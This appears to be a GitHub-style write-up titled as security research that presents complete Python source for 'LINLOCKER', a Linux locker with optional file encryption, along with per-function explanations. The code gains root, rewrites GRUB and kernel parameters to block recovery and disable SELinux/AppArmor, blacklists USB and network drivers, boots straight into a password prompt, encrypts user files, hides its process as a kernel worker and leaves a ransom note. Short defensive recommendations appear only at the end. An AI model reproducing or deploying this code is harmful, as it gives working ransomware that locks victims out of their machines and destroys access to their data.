╔══════════════════════════════════════════════════════════════════╗
║ SECURITY RESEARCH PAPER ║
║ Linux System Locking Mechanisms ║
╚══════════════════════════════════════════════════════════════════╝
Author: Vladislav Khudash (17)
Date: 03.03.2026
Project: LINUX-LOCKER-RESEARCH
| 🔬 Purpose | Security research on Linux system locking and persistence mechanisms |
| 🧪 Environment | ISOLATED VIRTUAL MACHINES ONLY — Never run on production systems |
| ⚖️ Legal | This research demonstrates attack vectors for defensive purposes only |
| 🔐 Warning | This code will LOCK the target system until correct password is provided |
| 📚 Educational | Understanding these techniques is essential for building robust defenses |
| Section | Description |
|---|---|
| 1. Configuration | Password and encryption settings |
| 2. Imports and Initialization | Module imports and global variables |
| 3. Utility Functions | get_distribution(), cmd(), get_root() |
| 4. System Modification Functions | update_grub(), update_initramfs(), disable_net() |
| 5. Encryption Functions | enc(), encrypt_file(), encrypt() |
| 6. Initialization (init) | System lockdown setup |
| 7. Shell Loop (shell) | Password prompt loop |
| 8. Welcome Screen (welcome) | Password verification |
| 9. Destruction (destroy) | System restoration |
| 10. Process Initialization (init_proc) | Process hardening |
| 11. Main Entry Point | main() |
| 12. Defense Recommendations | Protection measures |
📁 Click to expand: Password and Encryption Settings
#=====================================#
# [ OWNER ]
# CREATOR : Vladislav Khudash
# AGE : 17
# LOCATION : Ukraine
#
# [ PINFO ]
# DATE : 03.03.2026
# PROJECT : LINUX-LOCKER-RESEARCH
# PLATFORM : LINUX
#=====================================#
#
#-
#--
#---
#----
#-----
#------
# HERE IS LINLOCKER HASH SHA-256 OF PASSWORD
# GENERATE: python -c "from hashlib import sha256;print(sha256('YOUR PASSWORD HERE'.encode()).hexdigest())"
PASSWORD = ''
# RESPONSIBLE FOR ENCRYPTION (ENABLED IF ENCRYPTION == True ELSE DISABLED)
ENCRYPTION = False
MSG = '''
#### #### ## ## #### ##### #### ### ## ####### ######
## ## ### ## ## ## ## ## ## ## ## ## # ## ##
## ## #### ## ## ## ## ## ## ## ## # ## ##
## ## ## #### ## ## ## ## #### #### #####
## # ## ## ### ## # ## ## ## ## ## ## # ## ##
## ## ## ## ## ## ## ## ## ## ## ## ## ## # ## ##
####### #### ## ## ####### ##### #### ### ## ####### #### ##
Your system is completely locked
Enter password to unlock it
'''
#------
#-----
#----
#---
#--
#-
#Configuration Analysis:
| Variable | Purpose | Generation Command |
|---|---|---|
PASSWORD |
SHA-256 hash of unlock password | python -c "from hashlib import sha256;print(sha256('YOUR PASSWORD HERE'.encode()).hexdigest())" |
ENCRYPTION |
Enable/disable user file encryption | True or False |
MSG |
ASCII art banner displayed at lock screen | Pre-defined LINLOCKER banner |
Password Hash Generation:
python -c "from hashlib import sha256;print(sha256('MySecretPassword'.encode()).hexdigest())"
# Output: 8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92What it configures: The lock screen password (SHA-256 hash), toggle for optional user file encryption, and the ASCII art banner displayed on the TTY lock screen.
📁 Click to expand: Module Imports and Global Variables
import os
from subprocess import run as sp_run, DEVNULL
from shutil import move as move_file, which
from sys import argv, platform, executable
from multiprocessing import Process
from mmap import mmap, ACCESS_WRITE
from getpass import getpass
from hashlib import sha256
from random import randint
from ctypes import CDLL
from time import sleep
from glob import glob
__file__ = os.path.abspath(argv[0])
if platform != 'linux':
print(f'DO NOT SUPPORT ({platform})')
os._exit(1)
def invalid_type(name, value, valid):
if not isinstance(value, valid):
raise TypeError(f'({name}) must be ({valid.__name__})')
invalid_type('PASSWORD', PASSWORD, str)
PID = str(os.getpid())
PATH = '/etc/linlocker'
FILE_LINLOCKER = os.path.join(PATH, 'linlocker')
FILE_FLAG = os.path.join(PATH, '._')
OS_RELEASE = '/etc/os-release'
NET = '/sys/class/net/'
GRUB = '/etc/default/grub'
MODPROBE = '/etc/modprobe.d/linlocker.conf'
LOGIND = '/etc/systemd/logind.conf'
GETTY = '/etc/systemd/system/getty@.service.d'
OVERRIDE_CONF = os.path.join(GETTY, 'override.conf')
USERS = [n for n in glob('/home/*') if os.path.isdir(n)]
ENCRYPTION_MAX_SIZE = 134_217_728 # 128 MB
ENCRYPTION_MARK = b'\x1bB\xcd\x1f$v\xd0\xd3'
ENCRYPTION_NONCE = 8
ENCRYPTION_NONCE_NULL = bytes(ENCRYPTION_NONCE)
ENCRYPTION_KEY = sha256(PASSWORD.encode()).digest()
ENCRYPTION_PATH = USERS.copy()
ENCRYPTION_PATH.extend([n for n in glob('/media/*') if os.path.isdir(n)])
ENCRYPTION_PATH.extend([n for n in glob('/mnt/*') if os.path.isdir(n)])
SUDO = which('pkexec' if (os.environ.get('DISPLAY', False)
or os.environ.get('WAYLAND_DISPLAY', False)) else 'sudo')
ID = 'linux'
if SUDO is None:
SUDO = '/usr/bin/' + ('pkexec' if (os.environ.get('DISPLAY', False)
or os.environ.get('WAYLAND_DISPLAY', False)) else 'sudo')Global Variables Analysis:
| Variable | Value | Purpose |
|---|---|---|
PATH |
/etc/linlocker |
Installation directory |
FILE_LINLOCKER |
/etc/linlocker/linlocker |
Installed binary location |
FILE_FLAG |
/etc/linlocker/._ |
Flag file indicating installation complete |
GRUB |
/etc/default/grub |
GRUB configuration file |
MODPROBE |
/etc/modprobe.d/linlocker.conf |
Kernel module blacklist |
LOGIND |
/etc/systemd/logind.conf |
Systemd login configuration |
OVERRIDE_CONF |
/etc/systemd/system/getty@.service.d/override.conf |
TTY autologin override |
ENCRYPTION_MAX_SIZE |
128 MB | Maximum file size for encryption |
ENCRYPTION_MARK |
8-byte signature | Marks encrypted files |
ENCRYPTION_KEY |
SHA-256 of password | Encryption key derived from password |
SUDO Selection Logic:
- If
DISPLAYorWAYLAND_DISPLAYis set → usepkexec(GUI) - Otherwise → use
sudo(terminal)
What it initializes: All system paths for installation, encryption parameters (128MB max file size, 8-byte nonce, SHA-256 key derivation), user home directories for encryption targets, and the privilege escalation binary (pkexec for GUI, sudo for TTY).
📁 Click to expand: get_distribution(), cmd(), get_root()
def get_distribution():
if not os.path.isfile(OS_RELEASE):
return 'linux'
with open(OS_RELEASE, 'r') as f:
for n in f:
n = n.strip().replace('"', '').lower()
if n.startswith('id='):
return n[3:]
return 'linux'Supported Distributions:
- Debian-based:
debian,ubuntu,linuxmint,pop,kali - Arch-based:
arch,manjaro,endeavouros - RHEL-based:
fedora,rhel,centos,rocky,almalinux - SUSE-based:
opensuse,opensuse-leap,opensuse-tumbleweed - Other:
void
What it does: Parses /etc/os-release to detect the Linux distribution — critical for running the correct GRUB update and initramfs rebuild commands for each distro.
def cmd(c, _new=False):
try:
return sp_run(c, input=False, stdout=DEVNULL, stderr=DEVNULL, start_new_session=_new).returncode
except:
return -1What it does: Silent command execution returning exit codes — used for systemctl, chattr, mount, stty, and package manager commands throughout the setup and teardown process.
def get_root():
if '--root' in argv:
return
Process(target=lambda: cmd(
[SUDO, executable, __file__, '--root'],
_new=True
)).start()
os._exit(0)Elevation Strategy:
- Check if already running with
--rootflag - Spawn new process with
sudoorpkexec - Exit current process
What it does: Elevates to root via sudo (TTY) or pkexec (GUI), spawns a new process with the --root flag, and exits the non-privileged process.
📁 Click to expand: update_grub(), update_initramfs(), disable_net()
def update_grub():
if ID in {'debian', 'ubuntu', 'linuxmint', 'pop', 'kali'}:
cmd(['update-grub'])
elif ID in {'arch', 'manjaro', 'endeavouros'}:
cmd(['grub-mkconfig', '-o', '/boot/grub/grub.cfg'])
elif ID in {'fedora', 'rhel', 'centos', 'rocky', 'almalinux'}:
cmd(['grub2-mkconfig', '-o', '/boot/grub2/grub.cfg'])
elif ID in {'opensuse', 'opensuse-leap', 'opensuse-tumbleweed'}:
cmd(['grub2-mkconfig', '-o', '/boot/grub2/grub.cfg'])
elif ID in {'void'}:
if cmd(['update-grub']) == 0:
return
cmd(['grub-mkconfig', '-o', '/boot/grub/grub.cfg'])
else:
for n in (
['update-grub'],
['grub-mkconfig', '-o', '/boot/grub/grub.cfg'],
['grub2-mkconfig', '-o', '/boot/grub2/grub.cfg'],
):
if cmd(n) == 0:
return Distribution-Specific GRUB Commands:
| Distribution | Command |
|---|---|
| Debian/Ubuntu | update-grub |
| Arch | grub-mkconfig -o /boot/grub/grub.cfg |
| Fedora/RHEL | grub2-mkconfig -o /boot/grub2/grub.cfg |
| OpenSUSE | grub2-mkconfig -o /boot/grub2/grub.cfg |
| Void | update-grub or grub-mkconfig |
What it does: Cross-distribution GRUB configuration generator — detects the distro and runs the appropriate command to regenerate grub.cfg with the modified /etc/default/grub settings.
def update_initramfs():
if ID in {'debian', 'ubuntu', 'linuxmint', 'pop', 'kali'}:
cmd(['update-initramfs', '-u', '-k', 'all'])
elif ID in {'arch', 'manjaro', 'endeavouros'}:
cmd(['mkinitcpio', '-P'])
elif ID in {'fedora', 'rhel', 'centos', 'rocky', 'almalinux'}:
cmd(['dracut', '--force'])
elif ID in {'opensuse', 'opensuse-leap', 'opensuse-tumbleweed'}:
cmd(['mkinitrd'])
elif ID in {'void'}:
cmd(['xbps-reconfigure', '-fa'])
else:
for n in (
['update-initramfs', '-u', '-k', 'all'],
['mkinitcpio', '-P'],
['dracut', '--force'],
['mkinitrd'],
):
if cmd(n) == 0:
return Distribution-Specific Initramfs Commands:
| Distribution | Command |
|---|---|
| Debian/Ubuntu | update-initramfs -u -k all |
| Arch | mkinitcpio -P |
| Fedora/RHEL | dracut --force |
| OpenSUSE | mkinitrd |
| Void | xbps-reconfigure -fa |
What it does: Rebuilds the initramfs for all installed kernels — ensures the module blacklist and kernel command line changes take effect on next boot.
def disable_net():
for n in os.listdir(NET):
cmd(['ip', 'link', 'set', n, 'down'])
cmd(['ifconfig', n, 'down'])
cmd(['ip', 'addr', 'flush', n])What it disables: All network interfaces — brings every interface down via both ip link and ifconfig, then flushes all IP addresses. Prevents any network communication while the system is locked.
📁 Click to expand: enc(), encrypt_file(), encrypt()
def enc(handle):
with mmap(handle, 0, access=ACCESS_WRITE) as mf:
len_mf = len(mf)
counter = 0
pos = ENCRYPTION_NONCE
nonce = mf[:ENCRYPTION_NONCE]
if nonce == ENCRYPTION_NONCE_NULL:
nonce = os.urandom(ENCRYPTION_NONCE)
mf[:ENCRYPTION_NONCE] = nonce
while pos < len_mf:
keystream = sha256((ENCRYPTION_KEY + nonce) + counter.to_bytes(8, 'little')).digest()
counter += 1
for n in keystream:
if pos >= len_mf:
break
mf[pos] ^= n
pos += 1Encryption Algorithm Analysis:
| Component | Description |
|---|---|
ENCRYPTION_NONCE |
8 bytes |
ENCRYPTION_KEY |
SHA-256 of password (32 bytes) |
counter |
64-bit little-endian block counter |
| Keystream | SHA-256(key + nonce + counter) |
| Operation | XOR with keystream |
Algorithm Properties:
- Symmetric: Same operation encrypts and decrypts
- Stream cipher: Generates keystream on-the-fly
- Nonce-based: Each file gets unique nonce (or random if not set)
- ChaCha20-inspired: Counter mode with SHA-256 as PRF
What it does: XOR-encrypts file contents via memory-mapped I/O using a SHA-256-based stream cipher — reads and writes directly to memory without loading entire files. Generates unique nonce per file.
def encrypt_file(path):
try:
cmd(['chattr', '-i', path])
cmd(['chattr', '-a', path])
with open(path, 'rb+') as f:
if f.read(len(ENCRYPTION_MARK)) == ENCRYPTION_MARK:
print(path, 'ok!')
return
f.seek(0, os.SEEK_SET)
f.write(ENCRYPTION_MARK)
enc(f.fileno())
except:
print(path, 'no!')
else:
print(path, 'ok!')Encryption Process:
- Remove immutable (
-i) and append-only (-a) attributes - Check if file is already marked as encrypted
- Write 8-byte
ENCRYPTION_MARKsignature - Encrypt remainder of file using
enc()
What it encrypts: A single user file — strips Linux file attributes, checks for existing encryption mark (prevents double encryption), writes the 8-byte signature, then XOR-encrypts the rest of the file.
def encrypt(root_path):
for root, _, files in os.walk(root_path):
for n in files:
try:
fp = os.path.join(root, n)
if os.path.getsize(fp) > ENCRYPTION_MAX_SIZE:
continue
encrypt_file(fp)
except:
continueWhat it encrypts: All user files recursively under /home/*, /media/*, and /mnt/* — skips files larger than 128MB. Encrypts documents, pictures, configs, and other personal files while the lock screen is displayed.
📁 Click to expand: init()
def init():
if not os.path.isdir(PATH):
os.mkdir(PATH)
if not os.path.isfile(FILE_LINLOCKER) and os.path.isfile(__file__):
move_file(__file__, FILE_LINLOCKER)
with open(GRUB, 'w') as f:
f.write('''GRUB_DEFAULT=0
GRUB_TIMEOUT=0
GRUB_TIMEOUT_STYLE=hidden
GRUB_HIDDEN_TIMEOUT_QUIET=true
GRUB_DISABLE_OS_PROBER=true
GRUB_DISABLE_SUBMENU=y
GRUB_DISABLE_RECOVERY=true
GRUB_DISABLE_INITRD_SIGNATURES=true
GRUB_RECORDFAIL_TIMEOUT=-1
GRUB_DISTRIBUTOR="linlocker"
GRUB_CMDLINE_LINUX_DEFAULT="nomodeset quiet nosplash vt.global_cursor_default=0 printk.devkmsg=off audit=0 loglevel=0 rd.udev.log_level=0 systemd.show_status=0 systemd.confirm_spawn=0 systemd.unit=multi-user.target systemd.crash_shell=0 systemd.crash_poweroff=1 quiet_systemd selinux=0 apparmor=0 security=null panic=0 rd.debug=0 rd.shell=0 rd.emergency=poweroff rd.break=poweroff"
GRUB_CMDLINE_LINUX=""
GRUB_TERMINAL=console
''')
with open(MODPROBE, 'w') as f:
f.write(''' install usbcore /bin/false
install uas /bin/false
install usb_storage /bin/false
install cdc_acm /bin/false
install mmc_block /bin/false
install ehci_hcd /bin/false
install xhci_hcd /bin/false
install ohci_hcd /bin/false
install fuse /bin/false
install nbd /bin/false
install ath10k_pci /bin/false
install btbcm /bin/false
install orinoco /bin/false
install prism2_usb /bin/false
install ath9k /bin/false
install b43 /bin/false
install e1000e /bin/false
install iwlwifi /bin/false
install r8169 /bin/false
install brcmsmac /bin/false
install rtl8188eu /bin/false
install rtl8192cu /bin/false
install bnep /bin/false
install bluetooth /bin/false
install btusb /bin/false
install rfcomm /bin/false
install cdc_ether /bin/false
install usbnet /bin/false
install tun /bin/false
install tap /bin/false
install veth /bin/false
install macvlan /bin/false
install dummy /bin/false
install bridge /bin/false
install snd_hda_intel /bin/false
install snd_hda_codec_hdmi /bin/false
install snd_soc_sst_broadwell /bin/false
install snd_sof_pci /bin/false
install snd_usb_audio /bin/false
install gspca_main /bin/false
install gspca_v4l /bin/false
install uvcvideo /bin/false
''')
if not os.path.isdir(GETTY):
os.mkdir(GETTY)
with open(OVERRIDE_CONF, 'w') as f:
f.write(f'''[Service]
ExecStart=
ExecStart=-/sbin/agetty --autologin root %I $TERM
ExecStart=
ExecStart="{executable}" "{FILE_LINLOCKER}" --root
Restart=always
RestartSec=1
''')
with open(LOGIND, 'w') as f:
f.write('''[Login]
NAutoVTs=1
ReserveVT=1
SessionsMax=1
KillUserProcesses=no
KillExcludeUsers=root
CtrlAltDelBurstAction=ignore
HandlePowerKey=ignore
HandleSuspendKey=ignore
HandleHibernateKey=ignore
HandleLidSwitch=ignore
''')
for n in (
['systemctl', 'set-default', 'multi-user.target'],
['systemctl', 'restart', 'systemd-logind'],
['systemctl', 'enable', 'getty.target'],
['systemctl', 'disable', 'NetworkManager']
):
cmd(n)
update_grub()
update_initramfs()
disable_net()
with open(FILE_FLAG, 'w') as f: ...
for n in [
PATH,
FILE_LINLOCKER,
GRUB,
MODPROBE,
LOGIND,
OVERRIDE_CONF
]:
cmd(['chattr', '+i', n])
cmd(['chmod', '444' if os.path.isfile(n) else '555', n])
cmd(['reboot'])System Lockdown Analysis:
| Component | Modification | Purpose |
|---|---|---|
| GRUB | Disable recovery, timeout=0, custom cmdline | Prevent boot interruption |
| Kernel cmdline | quiet, loglevel=0, panic=0, rd.emergency=poweroff |
Suppress output, prevent rescue shell |
| Modules blacklist | USB, network, sound, webcam drivers | Disable hardware access |
| getty override | Auto-login root, execute linlocker | Boot directly to lock screen |
| logind.conf | Disable Ctrl+Alt+Del, power/suspend/hibernate keys | Prevent escape attempts |
| Network | All interfaces down, IP flushed | Disable remote access |
| Immutable flag | chattr +i on all config files |
Prevent modification |
Kernel Command Line Parameters:
| Parameter | Effect |
|---|---|
nomodeset |
Disable kernel mode setting |
quiet nosplash |
Suppress boot messages |
vt.global_cursor_default=0 |
Hide cursor |
printk.devkmsg=off |
Disable kernel message logging |
audit=0 |
Disable audit subsystem |
loglevel=0 |
Minimum log level |
systemd.show_status=0 |
Hide systemd status |
systemd.unit=multi-user.target |
Boot to text mode |
selinux=0 apparmor=0 |
Disable MAC |
panic=0 |
Don't reboot on panic |
rd.emergency=poweroff |
Power off on emergency |
rd.break=poweroff |
Power off on break |
Blacklisted Kernel Modules:
| Category | Modules |
|---|---|
| USB | usbcore, uas, usb_storage, ehci_hcd, xhci_hcd, ohci_hcd |
| Network | e1000e, iwlwifi, r8169, tun, tap, bridge |
| Bluetooth | bluetooth, btusb, bnep, rfcomm |
| Sound | snd_hda_intel, snd_usb_audio |
| Webcam | uvcvideo, gspca_main |
| Storage | mmc_block, fuse, nbd |
What it does on first run: Installs the locker to /etc/linlocker/, overwrites GRUB config with disabled recovery/quiet boot/custom kernel cmdline, blacklists 40+ kernel modules (USB, network, sound, webcam), creates a getty override for auto-root-login that launches the locker instead of a shell, disables Ctrl+Alt+Del and all power/suspend keys in logind, switches to multi-user.target (text mode), disables NetworkManager, reboots. After reboot, the system boots directly into the lock screen.
📁 Click to expand: shell()
def shell():
sp_run('clear', shell=True)
if ENCRYPTION:
for n in ENCRYPTION_PATH:
try:
encrypt(n)
except:
print(n, 'no!')
continue
while True:
try:
welcome()
except:
continueShell Loop Logic:
- Clear screen
- If
ENCRYPTION=True, encrypt all user directories - Enter infinite loop showing welcome/password prompt
What it does: The main lock screen loop — clears the terminal, optionally encrypts all user files from /home, /media, and /mnt, then loops infinitely showing the password prompt. If the welcome screen crashes, it restarts after a brief delay.
📁 Click to expand: welcome()
def welcome():
sp_run('clear', shell=True)
print(MSG)
try:
password = getpass('PASSWORD: ').strip().encode()
except EOFError:
password = 'null'
if sha256(password).hexdigest() == PASSWORD:
sp_run('clear', shell=True)
print('Your system has been restored')
destroy()
elif password == 'exit':
cmd(['poweroff'])
os._exit(0)
sleep(3)Password Verification Flow:
- Clear screen and display ASCII art banner
- Prompt for password (hidden input via
getpass) - Hash input with SHA-256 and compare to stored hash
- If match → restore system (
destroy()) - If "exit" → power off
- Otherwise → wait 3 seconds and retry
What it presents: The TTY lock screen — clears the terminal, prints the ASCII art banner, prompts for password with hidden input, verifies against SHA-256 hash. Correct password triggers system restoration. Wrong password shows nothing and waits 3 seconds. Typing "exit" powers off the machine.
📁 Click to expand: destroy()
def destroy():
for n in [
PATH,
FILE_LINLOCKER,
GRUB,
MODPROBE,
LOGIND,
OVERRIDE_CONF
]:
cmd(['chattr', '-i', n])
cmd(['chmod', '755', n])
cmd(['rm', '-rf', PATH])
with open(GRUB, 'w') as f:
f.write(f'''GRUB_DEFAULT=0
GRUB_TIMEOUT=0
GRUB_TIMEOUT_STYLE=hidden
GRUB_DISTRIBUTOR="{ID.capitalize()}"
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"
GRUB_CMDLINE_LINUX=""
''')
if os.path.isfile(MODPROBE):
os.remove(MODPROBE)
with open(LOGIND, 'w') as f:
f.write('[Login]')
if os.path.isfile(OVERRIDE_CONF):
os.remove(OVERRIDE_CONF)
update_grub()
update_initramfs()
for n in (
['systemctl', 'set-default', 'graphical.target'],
['systemctl', 'restart', 'systemd-logind'],
['systemctl', 'enable', 'NetworkManager']
):
cmd(n)
if ENCRYPTION:
for n in USERS:
try:
with open(os.path.join(n, 'requirement.txt'), 'w') as f:
f.write(MSG)
except:
continue
cmd(['reboot'])
os._exit(0)System Restoration Process:
| Step | Action | Purpose |
|---|---|---|
| 1 | chattr -i on all files |
Remove immutable flag |
| 2 | chmod 755 |
Restore permissions |
| 3 | rm -rf /etc/linlocker |
Delete installation directory |
| 4 | Restore GRUB config | Re-enable normal boot |
| 5 | Remove module blacklist | Re-enable hardware |
| 6 | Restore logind.conf | Re-enable power keys |
| 7 | Remove getty override | Disable auto-login |
| 8 | Update GRUB & initramfs | Apply changes |
| 9 | Set graphical.target | Restore GUI boot |
| 10 | Enable NetworkManager | Restore networking |
| 11 | Create requirement.txt |
Leave ransom note (if encryption was enabled) |
| 12 | Reboot | Restart system |
What it restores: Removes the immutable protection from all config files, deletes the entire /etc/linlocker directory, restores GRUB to a clean state, removes the module blacklist, restores logind.conf, removes the getty autologin override, switches back to graphical.target, enables NetworkManager, leaves a ransom note in each user's home directory (if encryption was active), and reboots to a clean system.
📁 Click to expand: init_proc()
def init_proc():
cmd(['mount', '-o', 'remount,hidepid=2', '/proc'])
try:
libc = CDLL(None)
libc.nice(-20)
libc.prctl(4, 0, 0, 0, 0) # PR_SET_DUMPABLE
libc.prctl(0x59616d61, 0, 0, 0, 0) # PR_SET_PTRACER
libc.prctl(15, f'[kworker/{randint(0, 12)}:{randint(0, 12)}]'.encode()[:15], 0, 0, 0) # PR_SET_NAME
except: ...
for n in (
['mount', '--bind', '/dev/null', f'/proc/{PID}/cmdline'],
['mount', '--bind', '/dev/null', f'/proc/{PID}/comm'],
['chrt', '-f', '80', '-p', PID]
):
cmd(n)
for (p, v) in [
(f'/proc/{PID}/oom_score_adj', '-1000'),
(f'/proc/{PID}/oom_adj', '-17'),
(f'/proc/{PID}/ptrace_scope', '2')
]:
try:
with open(p, 'w') as f:
f.write(v)
except:
continueProcess Hardening Measures:
| Measure | Command/Setting | Purpose |
|---|---|---|
| Hide processes | mount -o hidepid=2 /proc |
Other users can't see processes |
| Nice -20 | nice(-20) |
Highest priority |
| No core dumps | prctl(PR_SET_DUMPABLE, 0) |
Prevent memory dumping |
| Block ptrace | prctl(PR_SET_PTRACER, 0) |
Disable debugging |
| Masquerade name | prctl(PR_SET_NAME, "[kworker/X:Y]") |
Appear as kernel thread |
| Hide cmdline | mount --bind /dev/null /proc/PID/cmdline |
Hide command line |
| Hide comm | mount --bind /dev/null /proc/PID/comm |
Hide process name |
| Real-time priority | chrt -f 80 |
SCHED_FIFO with priority 80 |
| OOM protection | oom_score_adj=-1000 |
Never killed by OOM killer |
| Ptrace scope | ptrace_scope=2 |
Only root can ptrace |
What it does: Hardens the lock screen process — hides all processes from other users, sets maximum priority (nice -20, SCHED_FIFO 80), disables core dumps and ptrace, renames the process to "[kworker/X:Y]" to look like a kernel worker, bind-mounts /dev/null over /proc/PID/cmdline and comm to hide execution details, makes the process immune to OOM killer, and restricts ptrace to root only.
📁 Click to expand: main()
def main():
global ID
invalid_type('ENCRYPTION', ENCRYPTION, bool)
invalid_type('MSG', MSG, str)
if not PASSWORD:
raise ValueError('(PASSWORD) is empty')
get_root()
init_proc()
for n in (
['stty', 'intr', 'undef'],
['stty', 'quit', 'undef'],
['stty', 'susp', 'undef'],
['stty', 'ixon', 'off'],
['stty', 'ixoff', 'off'],
['stty', 'echoctl', 'off'],
['stty', 'eof', 'undef'],
['stty', 'kill', 'undef'],
['stty', 'werase', 'undef'],
['stty', 'rprnt', 'undef'],
['stty', 'lnext', 'undef'],
['stty', 'discard', 'undef'],
['stty', '-isig']
):
cmd(n)
ID = get_distribution()
(shell if os.path.isfile(FILE_FLAG) else init)()
os._exit(0)
if __name__ == '__main__': main()Terminal Hardening (stty):
| Command | Effect |
|---|---|
stty intr undef |
Disable Ctrl+C (SIGINT) |
stty quit undef |
Disable Ctrl+\ (SIGQUIT) |
stty susp undef |
Disable Ctrl+Z (SIGTSTP) |
stty eof undef |
Disable Ctrl+D (EOF) |
stty kill undef |
Disable Ctrl+U (kill line) |
stty werase undef |
Disable Ctrl+W (erase word) |
stty rprnt undef |
Disable Ctrl+R (reprint) |
stty lnext undef |
Disable Ctrl+V (literal next) |
stty discard undef |
Disable Ctrl+O (discard output) |
stty -isig |
Disable all signal-generating characters |
stty ixon off |
Disable XON/XOFF (Ctrl+S/Ctrl+Q) |
stty ixoff off |
Disable XON/XOFF flow control |
stty echoctl off |
Disable echoing control characters |
Execution Flow:
- Validate configuration
- Elevate to root (
get_root()) - Harden process (
init_proc()) - Disable terminal escape sequences (
stty) - Detect distribution
- If already installed (
FILE_FLAGexists) → runshell() - Otherwise → run
init()to install
What it does: The main entry point — validates all configuration, escalates to root, hardens the process, disables all terminal escape sequences (Ctrl+C, Ctrl+Z, Ctrl+D, Ctrl+S, signals), detects the Linux distribution, then branches: first run triggers system lockdown installation + reboot, subsequent boots launch the lock screen loop.
| Measure | Implementation |
|---|---|
| Secure Boot | Enable UEFI Secure Boot with custom keys |
| GRUB Password | Set superusers and password in grub.cfg |
| Kernel Lockdown | lockdown=confidentiality kernel parameter |
| Initrd Verification | Sign initrd with GPG/IMA |
| Read-only /boot | Mount /boot as read-only |
| Measure | Implementation |
|---|---|
| SELinux/AppArmor | Enforce mandatory access control |
| Audit Logging | Monitor chattr, mount --bind, stty usage |
| Immutable System Files | Set chattr +i on /etc/default/grub, /etc/systemd/ |
Restrict ptrace |
kernel.yama.ptrace_scope=3 |
Monitor /proc mounts |
Alert on hidepid=2 and bind mounts over /proc |
| Measure | Implementation |
|---|---|
Restrict stty |
Monitor or restrict stty usage for non-root users |
Use setsid |
Run critical processes in new sessions |
| Disable TTY switching | Set NAutoVTs=0 in logind.conf |
| Measure | Implementation |
|---|---|
| File Integrity Monitoring | Monitor /etc/default/grub, /etc/systemd/, /etc/modprobe.d/ |
| Audit Rules | Log chattr, mount, stty, prctl syscalls |
| EDR/XDR | Detect process masquerading ([kworker/*] with Python parent) |
| Backup GRUB Config | Keep backup of /etc/default/grub in secure location |
| Measure | Implementation |
|---|---|
| Live USB | Keep bootable Linux USB for recovery |
| GRUB Rescue | Know how to boot with custom kernel parameters |
| Backup Initramfs | Keep known-good initramfs backup |
| chroot Recovery | Know how to chroot from live environment |
Данное исследование изучает механизмы блокировки Linux систем через модификацию загрузчика, системных служб и терминала.
| Компонент | Модификация |
|---|---|
| GRUB | Отключение recovery, timeout=0, кастомные параметры ядра |
| Параметры ядра | quiet, loglevel=0, panic=0, rd.emergency=poweroff |
| Черный список модулей | USB, сеть, звук, веб-камера |
| getty override | Автологин root, запуск linlocker |
| logind.conf | Отключение Ctrl+Alt+Del, клавиш питания |
| Сеть | Все интерфейсы отключены |
| Immutable флаг | chattr +i на всех конфигурационных файлах |
| Компонент | Описание |
|---|---|
ENCRYPTION_NONCE |
8 байт |
ENCRYPTION_KEY |
SHA-256 пароля (32 байта) |
counter |
64-битный счетчик блоков (little-endian) |
| Keystream | SHA-256(key + nonce + counter) |
| Операция | XOR с keystream |
| Мера | Команда/Настройка | Цель |
|---|---|---|
| Скрыть процессы | mount -o hidepid=2 /proc |
Другие пользователи не видят процессы |
| Nice -20 | nice(-20) |
Максимальный приоритет |
| Без core dump | prctl(PR_SET_DUMPABLE, 0) |
Запрет дампа памяти |
| Блокировка ptrace | prctl(PR_SET_PTRACER, 0) |
Запрет отладки |
| Маскировка имени | prctl(PR_SET_NAME, "[kworker/X:Y]") |
Выглядит как поток ядра |
| Скрыть cmdline | mount --bind /dev/null /proc/PID/cmdline |
Скрыть командную строку |
| Защита от OOM | oom_score_adj=-1000 |
Никогда не убивается OOM killer |
| Команда | Эффект |
|---|---|
stty intr undef |
Отключить Ctrl+C |
stty quit undef |
Отключить Ctrl+\ |
stty susp undef |
Отключить Ctrl+Z |
stty eof undef |
Отключить Ctrl+D |
stty -isig |
Отключить все сигнальные символы |
stty ixon off |
Отключить Ctrl+S/Ctrl+Q |
| Мера | Реализация |
|---|---|
| Secure Boot | Включить UEFI Secure Boot |
| Пароль GRUB | Установить superusers и пароль в grub.cfg |
| Kernel Lockdown | lockdown=confidentiality |
| Read-only /boot | Монтировать /boot как read-only |
| Мера | Реализация |
|---|---|
| SELinux/AppArmor | Принудительный контроль доступа |
| Аудиторское логирование | Мониторинг chattr, mount --bind, stty |
| Неизменяемые системные файлы | chattr +i на /etc/default/grub, /etc/systemd/ |
| Ограничение ptrace | kernel.yama.ptrace_scope=3 |
| Мера | Реализация |
|---|---|
| Live USB | Держать загрузочную Linux USB для восстановления |
| GRUB Rescue | Знать, как загрузиться с кастомными параметрами ядра |
| Резервная копия initramfs | Хранить заведомо рабочий initramfs |
| chroot восстановление | Знать, как chroot из live окружения |
Security Research — Linux System Locking Mechanisms